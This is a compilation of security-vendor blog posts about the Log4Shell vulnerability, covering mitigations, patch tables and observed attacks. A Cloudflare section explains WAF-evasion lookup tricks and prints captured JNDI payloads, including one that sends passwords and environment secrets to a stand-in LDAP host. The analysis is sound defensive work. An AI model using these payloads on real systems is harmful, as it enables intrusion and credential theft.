Even organizations that have remediated deployed applications might miss some virtual machine or container images that get spun up regularly or infrequently. The Log4Shell attacks are easily automatable, and we’ll be seeing them as regularly as we see WannaCry and Conficker (yes, we still see quite a few exploits on the regular for those vulnerabilities).

Do we need to worry about similar vulnerabilities in other systems?

In the immediate term, security teams should narrow their attention to identify systems with the affected Log4j packages.

For the longer term, while it is impossible to forecast identification of similar vulnerabilities, we do know the ease and prevalence of CVE-2021-44228 demands the continued attention (been a long weekend for many) of security, infrastructure, and application teams.

Along with Log4Shell, we also have CVE-2021-4104 — reported on December 9, 2021 — a flaw in the Java logging library Apache Log4j in version 1.x. JMSAppender that is vulnerable to deserialization of untrusted data. This allows a remote attacker to execute code on the server if the deployed application is configured to use JMSAppender and to the attacker’s JMS Broker. Note this flaw only affects applications that are specifically configured to use JMSAppender, which is not the default, or when the attacker has write-access to the Log4j configuration for adding JMSAppender to the attacker’s JMS Broker.

Exploit vectors of Log4Shell and mitigations reported on Friday continue to evolve as reported by our partners at Snyk.io and Java Champion, Brian Vermeer — see “Editor’s note (Dec. 13, 2021)” — therefore, continued vigilance on this near and present threat is time well spent. Postmortem exercises (and there will be many) should absolutely include efforts to evolve software, open-source, and package dependency inventories and, given current impacts, better model threats from packages with similar uninspected lookup behavior.

Does this issue indicate that we should stop compiling systems and go back to building from scratch?

There definitely has been chatter regarding the reliance upon so many third-party dependencies in all areas of software development. We’ve seen many attempts at poisoning numerous ecosystems this year, everything from Python to JavaScript, and now we have a critical vulnerability in a near-ubiquitous component.

On one hand, there is merit in relying solely on code you develop in-house, built on the core features in your programming language of choice. You can make an argument that this would make attackers’ lives harder and reduce the bang they get for their buck.

However, it seems a bit daft to fully forego the volumes of pre-built, feature-rich, and highly useful components. And let’s not forget that not all software is created equally. The ideal is that community built and shared software will benefit from many more hands to the pump, more critical eyes, and a longer period to mature.

The lesson from the Log4Shell weakness seems pretty clear: Use, but verify, and support! Libraries such as Log4j benefit from wide community adoption, since they gain great features that can be harnessed quickly and effectively. However, you cannot just assume that all is and will be well in any given ecosystem, and you absolutely need to be part of the community vetting change and feature requests. If more eyes were on the initial request to add this fairly crazy feature (dynamic message execution) and more security-savvy folks were in the approval stream, you would very likely not be reading this post right now (and it’d be one of the most boring Marvel “What If…?” episodes ever).

Organizations should pull up a seat to the table, offer code creation and review support, and consider funding projects that become foundational or ubiquitous components in your application development environment.

How would a Software Bill of Materials (SBOM) have impacted this issue?

A Bill of Materials is an inventory, by definition, and conceptually should contribute to speeding the discovery timeline during emergent vulnerability response exercises, such as the Log4j incident we are communally involved in now.

An SBOM is intended to be a formal record that contains the details and supply chain relationships of various components used in software, kind of like an ingredients list for technology. In this case, those components would include java libraries used for logging (e.g. Log4j2).

SBOM requirements were included in the US Executive Order issued in May 2021. While there may be international variations, the concept and intended objects are uniform. For that reason, I will reference US progress for simplicity.

From: The Minimum Elements For a Software Bill of Materials (SBOM), issued Department of Commerce, in coordination with the National Telecommunications and Information Administration (NTIA), Jul 12, 2021

The Everyperson’s Guide to Log4Shell (CVE-2021-44228)

The question many Log4Shell responders — including CISOs, developers, engineers, sys admins, clients, and customers — are still grappling with is simply where affected versions of Log4j are in use within their technical ecosystems. Maintaining accurate inventories of assets has become increasingly challenging as our technical environments have become more complicated, interconnected, and wide-reaching. Our ever-growing reliance on internet-connected technologies, and the rise of shadow IT only make this problem worse.

Vulnerabilities in tools like Log4j, which is used broadly in a vast array of technologies and systems, highlight the need for more transparency and automation for asset and inventory management. Perhaps the longer-term substantive impact from Log4Shell will be to refocus investments and appreciation for the cruciality of an accurate inventory of software and associated components through an SBOM that can easily be queried and linked to dependencies.

The bottom line is that if we had lived in a timeline where SBOMs were required and in place for all software projects, identifying impacted products, devices, and ecosystems would have been much easier than it has been for Log4Shell and remediation would likely be faster and more effective.

How does Log4Shell impact my regulatory status — do I need to take special action to ensure compliance?

According to Rapid7’s resident policy and compliance expert, Harley Geiger, “Regulators may not have seen Log4Shell coming, but now that the vulnerability has been discovered, there will be an expectation that regulated companies address it. As organizations’ security programs address this widespread and serious vulnerability, those actions should be aligned with compliance requirements and reporting. For many regulated companies, the discovery of Log4Shell triggers a need to re-assess the company’s risks, the effectiveness of their safeguards to protect sensitive systems and information (including patching to the latest version), and the readiness of their incident response processes to address potential log4j exploitation. Many regulations also require these obligations to be passed on to service providers. If a Log4j exploitation results in a significant business disruption or breach of personal information, regulations may require the company to issue an incident report or breach notification.”

We also asked Harley whether we’re likely to see a public policy response. Here’s what he said…

“On a federal policy level, organizations should expect a renewed push for adoption of SBOM to help identify the presence of Log4j (and other vulnerabilities) in products and environments going forward. CISA has also required federal agencies to expedite mitigation of Log4j and has ramped up information sharing related to the vulnerability. This may add wind to the sails of cyber incident reporting legislation that is circulating in Congress at present.”

How do we know about all of this?

Well, a bunch of kids started wreaking havoc with Minecraft servers, and things just went downhill from there. While there is some truth to that, the reality is that an issue was filed on the Log4j project in late November 2021. Proof-of-concept code was released in early December, and active attacks started shortly thereafter. Some cybersecurity vendors have evidence of preliminary attacks starting on December 1, 2021.

Anyone monitoring the issue discussions (something both developers, defenders, and attackers do on the regular) would have noticed the gaping hole this “feature” created.

How long has it been around?

There is evidence of a request for this functionality to be added dating back to 2013. A talk at Black Hat USA 2016 mentioned several JNDI injection remote code execution vectors in general but did not point to Log4j directly.

Some proof-of-concept code targeting the JNDI lookup weakness in Log4j 2.x was also discovered back in March of 2021.

Fear, Uncertainty, and Doubt (FUD) is in copious supply today and likely to persist into the coming weeks and months. While adopting an “assumed breach” mindset isn’t relevant for every celebrity vulnerability, the prevalence and transitive dependency of the Log4j library along with the sophisticated obfuscation exploit techniques we are witnessing in real time point out that the question we should be considering isn’t, “How long has it been around?” Rather, it is, “How long should we be mentally preparing ourselves (and setting expectations) to clean it up?”

Get more critical insights about defending against Log4Shell

Check out our resource center

How to Protect Your Applications Against Log4Shell With tCell

2021-12-15 Bria Grangard

Post Syndicated from Bria Grangard original https://blog.rapid7.com/2021/12/15/how-to-protect-your-applications-against-log4shell-with-tcell/

How to Protect Your Applications Against Log4Shell With tCell

By now, we’re sure you’re familiar with all things Log4Shell – but we want to make sure we share how to protect your applications. Applications are a critical part of any organization’s attack surface, and we’re seeing thousands of Log4Shell attack attempts in our customers’ environments every hour. Let’s walk through the various ways tCell can help our customers protect against Log4Shell attacks.

1. Monitor for any Log4Shell attack attempts

tCell is a web application and API protection solution that has traditional web application firewall monitoring capabilities such as monitoring attacks. Over the weekend, we launched a new App Firewall detection for all tCell customers. This means tCell customers can leverage our App Firewall functionality to determine if any Log4Shell attack attempts have taken place. From there, customers can also drill in to more information on the events that took place. We’ve created a video to walk you through how to detect an Log4Shell attack attempts using the App Firewall feature in tCell in the video below.

How to Protect Your Applications Against Log4Shell With tCell

As a reminder, customers will need to make sure they have deployed the JVM agent on their apps to begin monitoring their applications’ activity. Make sure to check out our Quick Start Guide if you need help setting up tCell.

2. Block against Log4Shell attacks

Monitoring is great, but what you may be looking for is something that protects your application by blocking Log4Shell attack attempts. In order to do this, we’ve added a default pattern (tc-cmdi-4) for customers to block against. Below is a video on how to set up this custom block rule, or reach out to the tCell team if you need any assistance rolling this out at large.

How to Protect Your Applications Against Log4Shell With tCell

As research continues and new patterns are identified, we will provide updates to tc-cdmi-4 to improve coverage. Customers have already noted how the new default pattern is providing more protection coverage than yesterday.

3. Identify vulnerable packages (such as CVE 2021-44228)

We’ve heard from customers that they’re unsure of whether or not their applications are leveraging the vulnerable package. With tCell, we will alert you if any vulnerable packages (such as CVE 2021-44228 and CVE 2021-45046) are loaded by the application at runtime. The best way to eliminate the risk exposure for Log4Shell is to upgrade any vulnerable packages to 2.16. Check out the video below for more information.

How to Protect Your Applications Against Log4Shell With tCell

If you would like to provide additional checks outside of the vulnerable packages check at runtime, please refer to our blog on how InsightVM can help you do this.

4. Enable OS commands

One of the benefits of using tCell’s app server agents is the fact that you can enable blocking for OS commands. This will prevent a wide range of exploits leveraging things like curl, wget, etc. Below you’ll find a picture of how to enable OS commands (either report only or block and report).

How to Protect Your Applications Against Log4Shell With tCell

5. Detect and block suspicious actors

All events that are detected by the App Firewall in tCell are fed into the analytics engine to determine Suspicious Actors. The Suspicious Actors feature takes in multiple inputs (such as failed logins, injections, unusual inputs, etc.) and correlates these to an IP address.

Not only can you monitor for suspicious actors with tCell, but you can also configure tCell to block all activity or just the suspicious activity from the malicious actor’s IP.

All the components together make the magic happen

The power of tCell isn’t in one or two features, but rather its robust capability set, which we believe is required to secure any environment with a defense-in-depth approach. We will help customers not only identify vulnerable Log4j packages that are being used, but also assist with monitoring for suspicious activity and block attacks. The best security is when you have multiple types of defenses available to protect against bad actors, and this is why using the capabilities mentioned here will prove to be valuable in protecting against Log4Shell and future threats.

Get more critical insights about defending against Log4Shell

Check out our resource center

Protection against CVE-2021-45046, the additional Log4j RCE vulnerability

2021-12-15 Gabriel Gabor

Post Syndicated from Gabriel Gabor original https://blog.cloudflare.com/protection-against-cve-2021-45046-the-additional-log4j-rce-vulnerability/

Protection against CVE-2021-45046, the additional Log4j RCE vulnerability

Hot on the heels of CVE-2021-44228 a second Log4J CVE has been filed CVE-2021-45046. The rules that we previously released for CVE-2021-44228 give the same level of protection for this new CVE.

This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the Log4J download page.

Customers using the Cloudflare WAF have three rules to help mitigate any exploit attempts:

Rule ID	Description	Default Action
`100514` (legacy WAF) `6b1cc72dff9746469d4695a474430f12` (new WAF)	Log4J Headers	`BLOCK`
`100515` (legacy WAF) `0c054d4e4dd5455c9ff8f01efe5abb10` (new WAF)	Log4J Body	`BLOCK`
`100516` (legacy WAF) `5f6744fa026a4638bda5b3d7d5e015dd` (new WAF)	Log4J URL	`BLOCK`

The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.

In addition to the above rules we have also released a fourth rule that will protect against a much wider range of attacks at the cost of a higher false positive rate. For that reason we have made it available but not set it to BLOCK by default:

Rule ID	Description	Default Action
`100517` (legacy WAF) `2c5413e155db4365befe0df160ba67d7` (new WAF)	Log4J Advanced URI, Headers	`DISABLED`

Who is affected

Log4J is a powerful Java-based logging library maintained by the Apache Software Foundation.

In all Log4J versions >= 2.0-beta9 and <= 2.14.1 JNDI features used in configuration, log messages, and parameters can be exploited by an attacker to perform remote code execution. Specifically, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

In addition, the previous mitigations for CVE-2021-22448 as seen in version 2.15.0 were not adequate to protect against CVE-2021-45046.

Patch Tuesday – December 2021

2021-12-15 Greg Wiseman

Post Syndicated from Greg Wiseman original https://blog.rapid7.com/2021/12/14/patch-tuesday-december-2021/

Patch Tuesday - December 2021

This month’s Patch Tuesday comes in the middle of a global effort to mitigate Apache Log4j CVE-2021-44228. In today’s security release, Microsoft issued fixes for 83 vulnerabilities across an array of products — including a fix for Windows Defender for IoT, which is vulnerable to CVE-2021-44228 amongst seven other remote code execution (RCE) vulnerabilities (the cloud service is not affected). Six CVEs in the bulletin have been publicly disclosed; the only vulnerability noted as being exploited in the wild in this month’s release is CVE-2021-43890, a Windows AppX Installer spoofing bug that may aid in social engineering attacks and has evidently been used in Emotet malware campaigns.

Interestingly, this round of fixes also includes CVE-2021-43883, a Windows Installer privilege escalation bug whose advisory is sparse despite the fact that it appears to affect all supported versions of Windows. While there’s no indication in the advisory that the two vulnerabilities are related, CVE-2021-43883 looks an awful lot like the fix for a zero-day vulnerability that made a splash in the security community last month after proof-of-concept exploit code was released and in-the-wild attacks began. The zero-day vulnerability, which researchers hypothesized was a patch bypass for CVE-2021-41379, allowed low-privileged attackers to overwrite protected files and escalate to SYSTEM. Rapid7’s vulnerability research team did a full root cause analysis of the bug as attacks ramped up in November.

As usual, RCE flaws figure prominently in the “Critical”-rated CVEs this month. In addition to Windows Defender for IoT, critical RCE bugs were fixed this month in Microsoft Office, Microsoft Devices, Internet Storage Name Service (iSNS), and the WSL extension for Visual Studio Code. Given the outsized risk presented by most vulnerable implementations of Log4Shell, administrators should prioritize patches for any products affected by CVE-2021-44228. Past that, put critical server-side and OS RCE patches at the top of your list, and we’d advise sneaking in the fix for CVE-2021-43883 despite its lower severity rating.

Summary charts

Summary tables

Apps Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43890	Windows AppX Installer Spoofing Vulnerability	Yes	Yes	7.1	Yes
CVE-2021-43905	Microsoft Office app Remote Code Execution Vulnerability	No	No	9.6	Yes

Browser Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-4068	Chromium: CVE-2021-4068 Insufficient validation of untrusted input in new tab page	No	No	N/A	Yes
CVE-2021-4067	Chromium: CVE-2021-4067 Use after free in window manager	No	No	N/A	Yes
CVE-2021-4066	Chromium: CVE-2021-4066 Integer underflow in ANGLE	No	No	N/A	Yes
CVE-2021-4065	Chromium: CVE-2021-4065 Use after free in autofill	No	No	N/A	Yes
CVE-2021-4064	Chromium: CVE-2021-4064 Use after free in screen capture	No	No	N/A	Yes
CVE-2021-4063	Chromium: CVE-2021-4063 Use after free in developer tools	No	No	N/A	Yes
CVE-2021-4062	Chromium: CVE-2021-4062 Heap buffer overflow in BFCache	No	No	N/A	Yes
CVE-2021-4061	Chromium: CVE-2021-4061 Type Confusion in V8	No	No	N/A	Yes
CVE-2021-4059	Chromium: CVE-2021-4059 Insufficient data validation in loader	No	No	N/A	Yes
CVE-2021-4058	Chromium: CVE-2021-4058 Heap buffer overflow in ANGLE	No	No	N/A	Yes
CVE-2021-4057	Chromium: CVE-2021-4057 Use after free in file API	No	No	N/A	Yes
CVE-2021-4056	Chromium: CVE-2021-4056: Type Confusion in loader	No	No	N/A	Yes
CVE-2021-4055	Chromium: CVE-2021-4055 Heap buffer overflow in extensions	No	No	N/A	Yes
CVE-2021-4054	Chromium: CVE-2021-4054 Incorrect security UI in autofill	No	No	N/A	Yes
CVE-2021-4053	Chromium: CVE-2021-4053 Use after free in UI	No	No	N/A	Yes
CVE-2021-4052	Chromium: CVE-2021-4052 Use after free in web apps	No	No	N/A	Yes

Developer Tools Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43907	Visual Studio Code WSL Extension Remote Code Execution Vulnerability	No	No	9.8	No
CVE-2021-43908	Visual Studio Code Spoofing Vulnerability	No	No	nan	No
CVE-2021-43891	Visual Studio Code Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-43896	Microsoft PowerShell Spoofing Vulnerability	No	No	5.5	No
CVE-2021-43892	Microsoft BizTalk ESB Toolkit Spoofing Vulnerability	No	No	7.4	No
CVE-2021-43225	Bot Framework SDK Remote Code Execution Vulnerability	No	No	7.5	No
CVE-2021-43877	ASP.NET Core and Visual Studio Elevation of Privilege Vulnerability	No	No	7.8	No

Device Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43899	Microsoft 4K Wireless Display Adapter Remote Code Execution Vulnerability	No	No	9.8	Yes

Microsoft Office Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-42295	Visual Basic for Applications Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-42320	Microsoft SharePoint Server Spoofing Vulnerability	No	No	8	Yes
CVE-2021-43242	Microsoft SharePoint Server Spoofing Vulnerability	No	No	7.6	No
CVE-2021-42309	Microsoft SharePoint Server Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42294	Microsoft SharePoint Server Remote Code Execution Vulnerability	No	No	7.2	Yes
CVE-2021-43255	Microsoft Office Trust Center Spoofing Vulnerability	No	No	5.5	Yes
CVE-2021-43875	Microsoft Office Graphics Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-42293	Microsoft Jet Red Database Engine and Access Connectivity Engine Elevation of Privilege Vulnerability	No	No	6.5	Yes
CVE-2021-43256	Microsoft Excel Remote Code Execution Vulnerability	No	No	7.8	Yes

System Center Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43882	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	9	Yes
CVE-2021-42311	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42313	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42314	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42315	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-41365	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42310	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.1	Yes
CVE-2021-43889	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	7.2	Yes
CVE-2021-43888	Microsoft Defender for IoT Information Disclosure Vulnerability	No	No	7.5	Yes
CVE-2021-42312	Microsoft Defender for IOT Elevation of Privilege Vulnerability	No	No	7.8	Yes

Windows Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43247	Windows TCP/IP Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43237	Windows Setup Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43239	Windows Recovery Environment Agent Elevation of Privilege Vulnerability	No	No	7.1	No
CVE-2021-43231	Windows NTFS Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43880	Windows Mobile Device Management Elevation of Privilege Vulnerability	No	Yes	5.5	Yes
CVE-2021-43244	Windows Kernel Information Disclosure Vulnerability	No	No	6.5	Yes
CVE-2021-43246	Windows Hyper-V Denial of Service Vulnerability	No	No	5.6	No
CVE-2021-43232	Windows Event Tracing Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-43248	Windows Digital Media Receiver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43214	Web Media Extensions Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-43243	VP9 Video Extensions Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-43228	SymCrypt Denial of Service Vulnerability	No	No	7.5	No
CVE-2021-43227	Storage Spaces Controller Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-43235	Storage Spaces Controller Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-43240	NTFS Set Short Name Elevation of Privilege Vulnerability	No	Yes	7.8	No
CVE-2021-40452	HEVC Video Extensions Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-40453	HEVC Video Extensions Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-41360	HEVC Video Extensions Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-43219	DirectX Graphics Kernel File Denial of Service Vulnerability	No	No	7.4	No

Windows ESU Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43215	iSNS Server Memory Corruption Vulnerability Can Lead to Remote Code Execution	No	No	9.8	Yes
CVE-2021-43238	Windows Remote Access Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43223	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-41333	Windows Print Spooler Elevation of Privilege Vulnerability	No	Yes	7.8	No
CVE-2021-43229	Windows NTFS Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43230	Windows NTFS Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-40441	Windows Media Center Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43883	Windows Installer Elevation of Privilege Vulnerability	No	Yes	7.8	No
CVE-2021-43234	Windows Fax Service Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-43217	Windows Encrypting File System (EFS) Remote Code Execution Vulnerability	No	No	8.1	Yes
CVE-2021-43893	Windows Encrypting File System (EFS) Elevation of Privilege Vulnerability	No	Yes	7.5	No
CVE-2021-43245	Windows Digital TV Tuner Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43224	Windows Common Log File System Driver Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-43226	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43207	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43233	Remote Desktop Client Remote Code Execution Vulnerability	No	No	7.5	No
CVE-2021-43222	Microsoft Message Queuing Information Disclosure Vulnerability	No	No	7.5	Yes
CVE-2021-43236	Microsoft Message Queuing Information Disclosure Vulnerability	No	No	7.5	Yes
CVE-2021-43216	Microsoft Local Security Authority Server (lsasrv) Information Disclosure Vulnerability	No	No	6.5	Yes

Log4Shell Makes Its Appearance in Hacker Chatter: 4 Observations

2021-12-14 Alon Arvatz

Post Syndicated from Alon Arvatz original https://blog.rapid7.com/2021/12/14/log4j-makes-its-appearance-in-hacker-chatter-4-observations/

Log4Shell Makes Its Appearance in Hacker Chatter: 4 Observations

It’s been a long few days as organizations’ security teams have worked to map, quantify, and mitigate the immense risk presented by the Log4Shell vulnerability within Log4j. As can be imagined, cybercriminals are working overtime as well, as they seek out ways to exploit this vulnerability.

Need clarity on detecting and mitigating Log4Shell?

The Rapid7 Threat Intelligence team is tracking the attacker’s-eye view and the related chatter on the clear, deep, and dark web within our Threat Intelligence platform. Here are 4 observations based on what we’ve seen at the onset of the identification of CVE-2021-44228.

1. We see a spike in hacker chatter and security researchers’ publications about Log4j.

Log4Shell Makes Its Appearance in Hacker Chatter: 4 Observations

Increased hacker chatter is a key indicator of an emerging threat that security teams must account for. Clearly the spike here is no surprise – however, it is important to monitor and understand the types and scope of the chatter in order to get a clear picture of what’s on the horizon.

The following two screenshots show that bad actors have already developed and shared proof of concepts exploiting the vulnerability in Log4j. They also show the extent to which this vulnerability impacts user communities such as PC gamers, social media users, Apple/iCloud customers, and more.

3. Code with a proof of concept for the exploit has been published on GitHub.

The underground cybercrime community functions like any other business model, but what sets it apart is the spirit with which bad actors share their work for mass consumption. The example above is completely open and free for anyone to access and utilize.

4. Various scanners were published on GitHub to identify vulnerable systems.

Scanners are the cybercriminal’s tool of choice for finding specific vulnerabilities in networks communicating via the internet. Using a scanner, any company — regardless of size — can be a target.

While others look inside, we look outside

The bottom line is that threat actors are showing great interest in Log4j within underground communities, and they are leveraging these communities to share information and experience regarding exploiting this vulnerability. That emphasizes the need to quickly patch this vulnerability, before multiple cybercriminals put their hands on an exploit and start to utilize it on a large scale.

Read more about the Log4Shell vulnerability within Log4j, and what your team can do in response.

Exploitation of Log4j CVE-2021-44228 before public disclosure and evolution of evasion and exfiltration

2021-12-14 John Graham-Cumming

Post Syndicated from John Graham-Cumming original https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/

Exploitation of Log4j CVE-2021-44228 before public disclosure and evolution of evasion and exfiltration

In this blog post we will cover WAF evasion patterns and exfiltration attempts seen in the wild, trend data on attempted exploitation, and information on exploitation that we saw prior to the public disclosure of CVE-2021-44228.

In short, we saw limited testing of the vulnerability on December 1, eight days before public disclosure. We saw the first attempt to exploit the vulnerability just nine minutes after public disclosure showing just how fast attackers exploit newly found problems.

We also see mass attempts to evade WAFs that have tried to perform simple blocking, we see mass attempts to exfiltrate data including secret credentials and passwords.

WAF Evasion Patterns and Exfiltration Examples

Since the disclosure of CVE-2021-44228 (now commonly referred to as Log4Shell) we have seen attackers go from using simple attack strings to actively trying to evade blocking by WAFs. WAFs provide a useful tool for stopping external attackers and WAF evasion is commonly attempted to get past simplistic rules.

In the earliest stages of exploitation of the Log4j vulnerability attackers were using un-obfuscated strings typically starting with ${jndi:dns, ${jndi:rmi and ${jndi:ldap and simple rules to look for those patterns were effective.

Quickly after those strings were being blocked and attackers switched to using evasion techniques. They used, and are using, both standard evasion techniques (escaping or encoding of characters) and tailored evasion specific to the Log4j Lookups language.

Any capable WAF will be able to handle the standard techniques. Tricks like encoding ${ as %24%7B or \u0024\u007b are easily reversed before applying rules to check for the specific exploit being used.

However, the Log4j language has some rich functionality that enables obscuring the key strings that some WAFs look for. For example, the ${lower} lookup will lowercase a string. So, ${lower:H} would turn into h. Using lookups attackers are disguising critical strings like jndi helping to evade WAFs.

In the wild we are seeing use of ${date}, ${lower}, ${upper}, ${web}, ${main} and ${env} for evasion. Additionally, ${env}, ${sys} and ${main} (and other specialized lookups for Docker, Kubernetes and other systems) are being used to exfiltrate data from the target process’ environment (including critical secrets).

To better understand how this language is being used, here is a small Java program that takes a string on the command-line and logs it to the console via Log4j:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTester{
    private static final Logger logger = LogManager.getLogger(log4jTester.class);
       
    public static void main(String[] args) {
	logger.error(args[0]);
    }
}

This simple program writes to the console. Here it is logging the single word hide.

$ java log4jTester.java 'hide'          
01:28:25.606 [main] ERROR log4jTester - hide

The Log4j language allows use of the ${} inside ${} thus attackers are able to combine multiple different keywords for evasion. For example, the following ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e would be logged as the word hide. That makes it easy for an attacker to evade simplistic searching for ${jndi, for example, as the letters of jndi can be hidden in a similar manner.

$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide

The other major evasion technique makes use of the :- syntax. That syntax enables the attacker to set a default value for a lookup and if the value looked up is empty then the default value is output. So, for example, looking up a non-existent environment variable can be used to output letters of a word.

$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}' 
01:35:34.280 [main] ERROR log4jTester - hide

Similar techniques are in use with ${web}, ${main}, etc. as well as strings like ${::-h} or ${::::::-h} which both turn into h. And, of course, combinations of these techniques are being put together to make more and more elaborate evasion attempts.

To get a sense for how evasion has taken off here’s a chart showing un-obfuscated ${jndi: appearing in WAF blocks (the orange line), the use of the ${lower} lookup (green line), use of URI encoding (blue line) and one particular evasion that’s become popular ${${::-j}${::-n}${::-d}${::-i}(red line).

Exploitation of Log4j CVE-2021-44228 before public disclosure and evolution of evasion and exfiltration

For the first couple of days evasion was relatively rare. Now, however, although naive strings like ${jndi: remain popular evasion has taken off and WAFs must block these improved attacks.

We wrote last week about the initial phases of exploitation that were mostly about reconnaissance. Since then attackers have moved on to data extraction.

We see the use of ${env} to extract environment variables, and ${sys} to get information about the system on which Log4j is running. One attack, blocked in the wild, attempted to exfiltrate a lot of data from various Log4j lookups:

${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}

There you can see the user, home directory, Docker image name, details of Kubernetes and Spring, passwords for the user and databases, hostnames and command-line arguments being exfiltrated.

Because of the sophistication of both evasion and exfiltration WAF vendors need to be looking at any occurrence of ${ and treating it as suspicious. For this reason, we are additionally offering to sanitize any logs we send our customer to convert ${ to x{.

The Cloudflare WAF team is continuously working to block attempted exploitation but it is still vital that customers patch their systems with up to date Log4j or apply mitigations. Since data that is logged does not necessarily come via the Internet systems need patching whether they are Internet-facing or not.

All paid customers have configurable WAF rules to help protect against CVE-2021-44228, and we have also deployed protection for our free customers.

CVE-2021-44228 Exploitation Trends

Cloudflare quickly put in place WAF rules to help block these attacks. The following chart shows how those blocked attacks evolved.

From December 10 to December 13 we saw the number of blocks per minute ramp up as follows.

Date	Mean blocked requests per minute
2021-12-10	5,483
2021-12-11	18,606
2021-12-12	27,439
2021-12-13	24,642

In our initial blog post we noted that Canada (the green line below) was the top source country for attempted exploitation. As we predicted that did not continue and attacks are coming from all over the wild, either directly from servers or via proxies.

Exploitation of CVE-2021-44228 prior to disclosure

CVE-2021-44228 was disclosed in a (now deleted) Tweet on 2021-12-09 14:25 UTC:

However, our systems captured three instances of attempted exploitation or scanning on December 1, 2021 as follows. In each of these I have obfuscated IP addresses and domain names. These three injected ${jndi:ldap} lookups in the HTTP User-Agent header, the Referer header and in URI parameters.

2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D

2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D						

2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}	
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D

